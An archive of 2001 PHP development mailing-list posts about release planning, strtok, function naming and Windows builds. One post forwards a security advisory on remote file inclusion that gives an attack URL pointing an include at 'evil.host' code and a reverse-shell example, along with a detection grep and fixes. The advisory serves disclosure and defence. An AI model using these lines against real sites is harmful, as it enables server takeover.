>
>
> --
> PHP Quality Assurance Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Re: [PHP-QA] 4.1.0 Final RC

[James Moore]

> At 10:23 20.11.2001 +0000, James Moore wrote:
> > > James Moore wrote:
> > > > It wont load for me.. might but my build or something else.. has
anyone
> > > > had it working on win32 yet??
> > >
> > >   AFAICS, there is no (working) workspace in the PHP_4_0_7 branch to
> > >   build the sapi/Apache2Filter for Win32.
> >
> >I can build it (I just made a new workspace) but it crashses on startup..
> >Ill look into it its acually in one of the apache libs that it crashes so
> >Ill build a debug version of apache 2 and look into it when I have time.
>
> the apache2 filter in 4.1.0 won't work under win32, because the latest
rev.
> of sapi_apache2.c is 1.39 and you'll need atleast rev. 1.51.
> don't bother trying it, because it won't behave correct without those
patches.

Ill have a look at the CVS version at some point then.. have you had it
working under windows yet? I patched the 1.39 revision quite a lot so that
it would load and began to get the input filter working but I have real work
to do so I dont really have time to spend playing with it for too long.

- James


-- 
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Re: [PHP-QA] 4.1.0 Final RC

[James Moore]

> James Moore wrote:
> > It wont load for me.. might but my build or something else.. has anyone
> > had it working on win32 yet??
>
>   AFAICS, there is no (working) workspace in the PHP_4_0_7 branch to
>   build the sapi/Apache2Filter for Win32.

I can build it (I just made a new workspace) but it crashses on startup..
Ill look into it its acually in one of the apache libs that it crashes so
Ill build a debug version of apache 2 and look into it when I have time.

- James


-- 
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Re: [PHP-QA] 4.1.0 Final RC

[James Moore]

> Can you please build the sapi for Apache2?
> thanks
> -Jobarr

It wont load for me.. might but my build or something else.. has anyone had
it working on win32 yet??

- James



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Re: [PHP-QA] 4.1.0 Final RC

[James Moore]

Win32 build with several sapis (apache, isapi and ts) and extensions all
build in debug mode available from:

http://phpuk.org/~james/php-4.1.0RC3-win32.zip

- James
>
> > www.php.net/~zeev/php-4.1.0RC3.tar.gz
>
> Lets get this bitch out the window :) Release on thurs if nothing else big
> comes up?
>
> - James
>
>
> --
> PHP Quality Assurance Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Re: [PHP-QA] 4.1.0 Final RC

[James Moore]

> www.php.net/~zeev/php-4.1.0RC3.tar.gz

Lets get this bitch out the window :) Release on thurs if nothing else big
comes up?

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] set_time_limit() bug - pending for PHP 4.1.0

[James Moore]

could this be similar to the engine=on/engine=off thing that we had quite a
while ago?? Or is it due to global rather than local settings being
overridden in set_time_limit?

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] The opposite of ===

[James Moore]

!==

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] md5sum() patch

[James Moore]

shouldnt it be file_md5 if we are sticking with out namespace convention.

- James
- Original Message -
From: "Chris Newbill" <[EMAIL PROTECTED]>
To: "PHP DEV" <[EMAIL PROTECTED]>
Sent: Friday, November 16, 2001 5:57 AM
Subject: RE: [PHP-DEV] md5sum() patch


> Nahh I think md5_file() isn't very good.
>
> However, overloading md5() doesn't really seem like a good idea either.
>
> md5sum() is pretty appropriate, anybody who is going to use this function
is
> probably going to be familiar with the md5sum program.
>
> Plus md5sum() is fewer keystrokes. ;)
>
> -Chris
>
> -Original Message-
> From: Markus Fischer [mailto:[EMAIL PROTECTED]]
> Sent: Thursday, November 15, 2001 1:10 PM
> To: Hartmut Holzgraefe
> Cc: Lenar Lõhmus; [EMAIL PROTECTED]
> Subject: Re: [PHP-DEV] md5sum() patch
>
>
> On Thu, Nov 15, 2001 at 09:37:22PM +0100, Hartmut Holzgraefe wrote :
> > Lenar Lõhmus wrote:
> >
> > >Alessandro Astarita wrote:
> > >>Il 17:25, giovedì 15 novembre 2001, [EMAIL PROTECTED] ha scritto:
> > >>>Then this will do the same:
> > >>>$sum = `md5sum filename`;
> > >>>
> > >>Do I have to depends on the external executable? ...in my opinion is
not
> > >>the right way.
> > >
> > >+1 to the function
> >
> > hm, what about just overloading the current md5 function?
> >
> > if given a string -> current behavior
> >
> > if given a file handle resource -> read file and return sum
>
> -1 on that (+1 on md5_file() )
>
> You want your code look like
>
> $f = fopen('filename');
> $md5sum = md5($f);
> fclose($f);
>
> than
>
> $m45sum = md5_file($f);
>
> ?
>
> No seriously I hope ;)
>
> - Markus
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]
>
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Re: PHP 4.1.0RC2 - can we roll?

[James Moore]

- Original Message -
From: "Alan Knowles" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, November 13, 2001 12:31 AM
Subject: Re: [PHP-DEV] Re: PHP 4.1.0RC2 - can we roll?


> This may sound a bit self interested, but the curl extension has a
> serious (well to me :) bug that prevents https working - If somebody
> wants to patch/test this - it would be one less bug in 4.1.0RC2 :)
> -- I have done quite a but if testing here - (with and without openssl
> libraries)
>
> This was due to an api change in libcurl in May - so I think most people
> would have updated their libraries by now.
>
>
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/curl/curl/lib/easy.c.diff?r1=
1.15&r2=1.16
>
>
> Bug report with tested patch at
>
> http://bugs.php.net/bug.php?id=14023

Zeev is commiting & merging this into the release branch now, Ill give it a
good testing on win32 tomorrow...

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] 4.1.0

[James Moore]

> > But should it return:
> >
> > $str = array(
> > string => "James"
> > string => "Zeev"
> > string => ""
> > string => "Andrei"
> > )
> Enduser point of view ;). IMO Should return en empty string (it is an
empty string) or NULL, but false has nothing to do with a string, btw, in
4.0.6 (the actual production version) it return an empty string (on my
system). Backward compatibility issue is a must.

A quick test on Solaris, Windows and Linux shows that returning what it now
returns is inline with the C behaviour, if we want the IMHO more logical
behaviour we shouldn't call it by its C name but somthing like
string_tokenize().

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] 4.1.0

[James Moore]

> I suggest an RC2 (today?) and a release by the end of the week, or Monday
> at the latest.
> James - how sure are you that the fix you submitted is good and that we
> won't find out afterwards that the bogus behavior was actually the right
> thing to do? :)

Well I know the old behaviour was wrong, it was return the token at times,
but the ANSI C standard is vague about how strtok should behave when there
are more than one token's together.

$string = "James|Zeev||Andrei";

$str[0] = strtok($string, "|");
$str[1] = strtok("|");
$str[2] = strtok("|");
$str[3] = strtok("|");

Old behaviour:

$str = array(
string "James"
string "Zeev"
string "|Andrei"
false
)

I changed it to return

$str = array(
string "James"
string "Zeev"
string "Andrei"
false
)

But should it return:

$str = array(
string => "James"
string => "Zeev"
string => ""
string => "Andrei"
)

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] 4.1.0

[James Moore]

> The one symptom Rasmus pointed out (which was quite specific for
> mbstring-xlation+zlib-compression) was MFH'd, so I think there are no big
> showstoppers left.
>

Ive a fix for strtok's behaviour in HEAD but not in 4_0_7 should I merge
it?? (See news for details of the fix).

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] 4.1.0

[James Moore]

> On Mon, 12 Nov 2001, James Moore wrote:
> > Putting out a release we arnt happy with is worse than not putting a
release
> > out at all.
>
> Just wondering what in the current branch people aren't happy with.

Its too old, things are being merged in still which could work find in HEAD
but could have problems in the branch, how many developers test the branch
properly before MFD'ing?? (why I dont agree with jani's idea for the new
release thing having 4.1, 4.2 etc..)

- James




-- 
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] 4.1.0

[James Moore]

>
> i haven't really changed my mind - but i want a fast
> decision. as there isn't any clear consens here i think we
> should release 4.1 as-it-is-with-the-last-showstoppers-fixed
> and go from there.  we should also learn from this and assign
> a RM for the next release! i mean a real release-master...

Putting out a release we arnt happy with is worse than not putting a release
out at all.
Lets restart the cycle and take care this time.. 4.1.x is asking for trouble
coming from a branch as old as the 4_0_7 branch is..lets rebranch from HEAD
and really push the release we could probably get it out in 1.5 - 2 weeks.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Re: [PHP-QA] Proposal for release process (Was: Re: [PHP-DEV] 4.1.0)

[James Moore]

> >We have a bit of a dilemma here.  As you all know, the 4.0.7 branch, on
> >which 4.1.0 is currently scheduled to be based on, has branched away a
few
> >months ago.  Some people have expressed concern that releasing 4.1.0
based
> >on that branch is not a good idea, because there have been so many
changes
> >in the HEAD branch, and synchronizing fixes and so on is going to be a
> >headache.
>
> I have a bad feeling about this branch and I vote for dropping it and
> starting new from HEAD. There are several reasons for this:

Lets take the release process out of the developers hands, have someone non
developerish running releases and THEM making the sole decision on what goes
in and what doesnt. Developers are not involved in the release process at
all. A group of 4-5 people run the release process they have people
supporting them testing on different platforms (we need someone for Win 32,
Solaris, Linux (maybe 2) and maybe MacOS). It is their job to get releases
out and their decision is final.

having said that they need to understand what is going on, although I see
the urgency of getting 4.1 out I also feel that the 4.0.7 branch isnt the
way to go. Lets rebranch and have a small group of people who are
responsible for the release and only they are involved in it unless they ask
for help.

I would suggest perhaps we try with Jani? in charge with Derick, myself and
perhaps one or two other people (Zeev, Stig advising?) involved, the
advatage of this is Derick, Jani, ssb, Zeev and I normally are on IRC and
therefore able to keep each other informed rather than sending mails to the
list which are ignored.

Anyway just my tuppence, let me know.

Cheers,

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] PHP Module in source dist?

[James Moore]

> If you can humor me for the moment and make the assumption that it would
> be something the PHP developer group thinks is a valuable addition, is it
> mostly a matter of the developers on this list deciding it should be
> added? Or is there a more formal process? Should I be addressing email
> directly to a specific person?

Its just a question of finding someone to commit the code for you or getting
a cvs account yourself after discussion on php-dev but remeber the libary
needs to be compatible with the PHP License before we can distribute the
source code with PHP..

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Bug #13846 Updated: Patch: Use [ ] as shortcut forarray()

[James Moore]

> Still readable without problems to me ;)

The syntax is ugly -10 from me :)

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Re: Security e-mail address

[James Moore]

we were going to set up [EMAIL PROTECTED] at one point with a closed list of
recieptients.. mainly core devs and a few QA People who can check out if it
is a security problem or not.

Dont think this ever happen. Perhaps it would be an idea though

- James
- Original Message -
From: "Rasmus Lerdorf" <[EMAIL PROTECTED]>
To: "Jani Taskinen" <[EMAIL PROTECTED]>
Cc: "Flavio Veloso" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>
Sent: Saturday, October 06, 2001 2:21 AM
Subject: [PHP-DEV] Re: Security e-mail address


> Oh Jani, relax.  He wanted somewhere non-public.  php-dev is archived
> everywhere as is [EMAIL PROTECTED]  group@ is the only non-archived
> address.  If there is a real problem we will most definitely forward it to
> php-dev, but if someone asks for a private contact address I give the only
> one we have.  Most of these are false alarms anyway.
>
> -Rasmus
>
> On Sat, 6 Oct 2001, Jani Taskinen wrote:
>
> >
> > What's wrong with php-dev? IIRC the [EMAIL PROTECTED] handles
> > only administration of the site and stuff..
> > There can't be anything that fatal that all the people
> > subscribed to php-dev shouldn't see. Or has PHP suddenly
> > changed into closed-source?
> >
> > --Jani
> >
> >
> >
> > On Fri, 5 Oct 2001, Rasmus Lerdorf wrote:
> >
> > >use [EMAIL PROTECTED] please
> > >
> > >On Fri, 5 Oct 2001, Flavio Veloso wrote:
> > >
> > >> Hi Webmaster.
> > >>
> > >> Is there any mail address that can be used to discuss security issues
> > >> related to PHP?
> > >>
> > >> We know that we could use your bug tracking system to report
problems,
> > >> but it doesn't seem appropriate to disclose a security bug before PHP
> > >> developers have a chance to look at it.
> > >>
> > >> We are a Linux and network security research company that lives in
> > >> Brazil. Maybe we have discovered a problem which has some security
> > >> implications. We are not completely sure if it's a bug in PHP (and
how
> > >> to solve it, even if it isn't), and would like to share it with the
> > >> PHP people privately.
> > >>
> > >> BTW, sorry to bother you with this, but your mail address was the
only
> > >> one I could find on the www.php.net website.
> > >>
> > >>
> > >
> >
>
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]
>


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Fw: results of semi-automatic source code audit

[James Moore]

Anyone feel the need to reply to this??

- James
- Original Message - 
From: <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, October 02, 2001 10:59 PM
Subject: results of semi-automatic source code audit


> /*
>  * results of semi-automatic source code audit of a
>  * majority of php based open-source projects registered
>  * at Freshmeat.net or Sourceforge.net
>  *
>  * release date: 2001-10-02
>  *
>  * authors:
>  *atil<[EMAIL PROTECTED]>
>  *genetics  <[EMAIL PROTECTED]>
>  *#yaht@ircnet, Yet Another Hacker Team
>  */
> 
> --=[introduction]=--
> php comes shipped with two features enabled by default that make
> unsuspicious looking source execute arbitrary code:
> - variables passed from the browser are stored in global context
> - file-system functions work transparent on URLs
> 
> --=[background]=--
> This exploits for php are not new and it's not the fault of php or any
> bug in the source of php itself but of the authors of a large number
> of projects written in php. What is new is the extensive audit of a
> huge amount of projects and the surprisingly large number of
> vulnerabilities discovered.
> 
> --=[our task]=--
> We looked for files often not directly accessed by the browser but
> included from somewhere else that contained something like this:
> 
> in helperfunction.php :
>   include("$includedir/library.php");
> 
> If the variable $includedir is not set by something executed before
> the include-statement, we can override it from the http-client with
> something like this:
> 
> http://vuln.host/helperfunction.php?includedir=http://evil.host/code
> 
> When the script is executed on vuln.host the php-interpreter will
> fetch the document http://evil.host/code/library.php and execute
> it. Breaking into the system is easy now because you can pass any
> php-source to the vulnerable system (download binaries, execute code,
> start reverse-shells (e.g. "xterm -display evil.host:1")...) that
> will be executed by the user running the web-server (mod_php) or by
> the owner of the virtual-host (CGI-interpreter). 
> 
> --=[solution]=--
> php is not insecure by default, but makes insecure programming very
> easy. Here are some solutions to write safe php-code:
> 
> - give included php-files a filename that is not executed by the
>   web-server
> 
> - put all included php-code outside the docroot (not possible for
>   all users), use file permissions or .htaccess
> 
> - use constants (best approach)
> 
>   in main.php:
> define("MAINFILE", true);
> define("CONFIGDIR", "/some/path/");
> include('./some_function.inc');
> 
>   in some_function.inc:
> if ( !defined("MAINFILE") ) die ("this is a include file!");
> include(CONFIGDIR . "config.inc");
> 
>   If you set global variables from the client, they don't
>   interfere with constants; the defined-Test is not necessary for
>   security.
> 
> - use $HTTP_*_VARS and disable global variables from the client
> 
> --=[scope]=--
> 
> Our audit searched only for vulnerabilities with include-files and can
> never be compared to a detailed analysis of a complete project. If
> your php-project didn't show up on the list below doesn't mean that
> you can relax now. We want to make people working on all this great
> php projects to become sensitive to the fact, that using modern
> scripting languages doesn't make your code safe by default.
> 
> --=[hint for ISPs]=--
> If you are an ISP and want to identify possible exploitable php code
> on your web-server use this:
> 
> find -type f -a -name '*.php*' -print0 |
> xargs -0 grep -l -E '(include|require)(_once)? *\( *"?\$'
> 
> The resulting files need further manual inspection...
> 
> --=[vulnerable projects]=--
> (all maintainers have been informed a while ago)
> 
> Actionpollhttp://sourceforge.net/projects/actionpoll
> AWOL  http://www.freshmeat.net/projects/awol
> CCC   http://www.cccsoftware.org
> DarkPortalhttp://sourceforge.net/projects/darkportal
> Emprishttp://empris.sourceforge.net
> Moregroupware http://www.moregroupware.org
> Phorecast http://phorecast.org
> Phormationhttp://www.peaceworks.ca/phormation.php
> pSlashhttp://www.pslash.com
> The Gallery   http://sourceforge.net/projects/gallery
> webodex   http://homepage.mac.com/ghorwood/webodex
> Zorbstats http://freshmeat.net/projects/zorbstats
> phpAdsNew http://sourceforge.net/projects/phpadsnew
> myphppagetool http://myphppagetool.sourceforge.net
> ActionPollhttp://sourceforge.net/projects/actionpoll
> SIPS  http://sips.sourceforge.net
> thatware  http://thatware.org
> 
> We don't provide the exact vulnerable pice of code but we secured our
> results with at least one machine (mostly the demo-site of the project)
> where we could execute a phpinfo()-script comming from our webserver.
> 
> cheers
> 
> atil & genetics
> 


-- 
PHP Development Mailing List 
To unsubscrib

Re: [PHP-DEV] Feature?

[James Moore]

> I want to pass value to only one or more but not to all params. Also this
will make the code clearer I think.
> Comments are welcome!

This is somthing that has been discussed as a probable feature in PHP 5 but
for now you could pass an assoc. array to get round the problem.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] karma request - phpweb

[James Moore]

> Hi!  I request karma for module phpweb.  Am working with jmcastagnetto on
> user notes where Voting and "User Moderation" will be implemented.  And
> will most likely find other things to do, albeit nothing major (yet?).

Colin has already done this with the PHP-GTK Manual.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] RISC OS port

[James Moore]

> There's only a handful of small patches to various files, and a new SAPI
> module. Should I post the changes to this list, mail them to someone, or
> apply for a CVS account? I don't envisage too many more changes, but
> there might be the odd thing now and again if other peoples changes
> cause things to break.

Post them to the list for review then if they are to be incorporated then
you need to apply for a CVS account and you will be given access to the
relevant parts of the code.

Cheers,

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Email Processors Wanted!!!

[James Moore]

> Hi guys,
>
> This list seems to get a fair amount of spam. Any chance of blocking posts
> from non-subscribers. Sure, it would upset the one-time posters, but
> surely its not too hard for them to subscribe and unsubscribe.
>
>
> Gavin

This isnt an option, please see the archives for previous discussions on
this and reasons.

Cheers,

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Documenting Zend (was: zend_parse_parameters)

[James Moore]

> Kinda like the FSF assignment.  This is so that we can publish these docs
> in books free of charge, without having to run after everybody who
> contributed.  Don't worry, we don't get a nickel out of it.

I dunno what its under now but the Open Documentation License is nice as
then main contributors have to be credited... I have a feeling thats what it
is under right now.

Cheers,

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Documenting Zend (was: zend_parse_parameters)

[James Moore]

> >
> > Perhaps the php-doc guys can set up the basics (I don't have
> > time to become a doc guru) so that we at least have somewhere
> > to put it, and that might encourage people to write some docs.
> > Also, whenever a new API comes along (like zend_parse_parameters)
> > it could be put in there from the start.

I was going to work through exisiting docs a break it up into lots of
different files as with php-doc, I have framework here which would work for
it (from php-gtk-doc) if I just kill all the object related stuff from it.
Ill see if I can find time to do somthing for it but as normal thats
somthing I have very little of right now :)

Cheers,

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Woah

[James Moore]

Just to add my few £0.02 to this discussion :)

_() just doesnt make sense to anyone who hasnt used gettext() which tbh is
probably the vast majority of the comunity, I have seen _ in the function
lists and Zend and Harmuts site and just thought it was a querk somewhere..
_() to me looks like some sort of Perlish operator, the fact that gettext in
C allows you to use it doesnt make it right for PHP, the gettext obviously
have a different naming system to PHP.
I would say that it clutters the namespace and is ugly and there is no
reason for it to be there, if you are worried about performance then try
running this on your file after you have coded it:

sed -e's%_(%gettext(%g' file.php >temp' cp temp $file

OK its a pain in the arse to do every time but tbh I think that echo is used
a lot more so lets make echo aliased as ^(.) oh and perhaps we should
have sprintf as *() and dont forget while.. I bet perople get bored of
typing that so lets make it >(conditional expreesion) { }
and perhsps we then need some for switch and if I think ? and < would be
good candidates for them, right now as mysql is the main database used with
PHP lets save people some typing but loosing the mysql_ infront of it and
have connect, query, fetch_array.. but that might be unfair on the pgsql
users so lets add a special operator as the first line of the script which
can choose between pg or mysql maybe somthing like %m or %p.. then we could
have a great looking script like the following:

($row = fetch_array($r))
{
<($row[0])
{
^($row[0]);
}
}

?>

I personally think that looks quite good.. Ive even managed to save myself
typing a whole 27 characters.. now I can type at 30 odd words a min..
average length 5 letters.. thats a whole 5.4 seconds do you really think
loosing readability is that worth it, most people can type fast enough so
that gettext makes very little timewise to _(, its more readable and
promotes good code rather than lazyness.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] microtime and gettimeofday

[James Moore]

> On Tue, Sep 04, 2001 at 08:48:52AM +0200, Alexander Jäger wrote :
> > i wanted to do a waiting function and read on php.net, that usleep does
not
> > work under windows. so i did my own function and got problems with
microtime
> > and gettimeofday
> > does anybody has expiriences that these doesn't work under windows?
> >
> > e.g. i got for the usec - value of gettimeofday values higher than one
> > million?
>
> It would be really interesting if someone can do microsecond
> timer with NT architecture (without special hardware). To my
> knowledge NT architecture does no support microsecond timer
> resolution. It only has a 32bit tick counter whose resolution is
> miliseconds (remmeber the 49.7 days reboot of some version of
> Win95).  If you have additional hardware you can take advantage by
> extending this to a 64bit counter with microseconds resolution
>  poor NT ...

I applied a patch to the gettimeofday in the windows port that reduced the
accuracy to milliseconds from microseconds, thinking about it I didnt check
at the time if it was compatible with unix values returned, the only thing I
remember thinking was well even if this patch was broken it was a lot less
broken than things were before (the time was got in two calls previously so
one half of the returned value was about 0.05 seconds out from the other
value..)

I thought there was a note in the manual about this difference between Unix
and Windows resolution with this function although I am not sure (usleep
doesnt work on windows at all.. although if we can round to the nearest
millisecond and sleep that way it might be worth thinking about).

Anyway what I was trying to say is those functions are fubar under NT as it
is and if anyone can think of a better way to do the timings and usleep then
it would be a good addition to the source code.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] python dictionary-like % (percent) substitution in php (was: Good idea in % (percent) substitutions in string)

[James Moore]

- Original Message -
From: "Zeev Suraski" <[EMAIL PROTECTED]>
To: "---" <@zend.com>
Cc: <[EMAIL PROTECTED]>
Sent: Tuesday, August 28, 2001 11:51 AM
Subject: Re: [PHP-DEV] python dictionary-like % (percent) substitution in
php (was: Good idea in % (percent) substitutions in string)


> I think that's a pretty good idea.

+1

- James



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] bogus bugs...

[James Moore]

> If I find bugs that are open, but are fixed, or bogus or whatever, should
I
> report them somewhere?

Yep.. send them to [EMAIL PROTECTED], he will be pleased to recieve them :)

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] GLIBC maintainer about Stallman

[James Moore]

> Whoa, an interesting read.

Does this mean you wont be pushing for PHP to be LGPL'd then??

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Setting up RFC

[James Moore]

> The work on Zend Engine 2 has now started, _without_ a proper definition
of
> it. IMHO, that's not the ideal situation, since this could lead to strange
> inconsequences, because the precise behaviour is decided during
> implementation.

Umm what about the white paper that was prepaired before work on Zend Engine
2 started?? http://www.zend.com/engine2/ZendEngine-2.0.pdf

> For example bug 10437, which wouldn't have existed if the
> zend engine was properly defined _before_ it was implemented. But it
simply
> was the easiest way to implement it...

Probably the the best way too.. not that Ive read 10437 cause Im currently
working..

> As you say, for 'light' changes, no official RFC should be created, it
isn't
> necessary, mainly because:
> > at the moment there is no democratic process in PHP, people
> > just do what they want

Yes this is part of opensource, people will do what they want to do, If I
want some feature in PHP Ill program it, the general direction of PHP should
be decided by a group of people yes but it gets to a point where everyone is
saying we should do it this way, that way or another way and in the end
nothing gets done, at the moment people see what others are doing and
question it if necessary, if its their extension then they are free to do
what they want with it.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Setting up RFC

[James Moore]

> On the other hand, the latter one could be named 'RFC process', since it
> hasn't yet been defined what the heck it is precisely...

RFC.. Request For Comments, its as simple as that someone posts a document
outlining what they want changed/want to do, calls it an RFC and is
litterally making a request for comments on their idea. I think this is a
good idea for large things but if we encourage too much we will suddenly be
flooded with RFC's all over the place then they begin to conflict.. I think
that if someone feels somthing is really important then an RFC is a good
idea but I certainly dont want a couple a week to plough through.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Setting up RFC

[James Moore]

> > Ive written one or two before, mainly for the release process (I think
its
> > in CVS under README.realease_process or somthing like that). Id suggest
> > people just get on and write them and post them to php-dev where people
> > generally read them and make comments. I dont see what there is to
discuss
> > Jeroen.
>
> There should IMO be a more generalized way for this, indeed, it was my
idea
> to put RFC's in cvs. But no in the php4 module, but in a separate.
>
> Main point is that discussions on phpdev die out quite quickly, and you
> can't say then it's decided. And you can't put each proposal in php4 cvs
> either, release proces is not about PHP itself, but about the proces
around
> it, and it is always 'current', since realeases keep coming out...
>
> Anyway, Zak wrote that, not me. So CC'ing to him.

Just poit them to php-dev and keep bringing it up until there is some decent
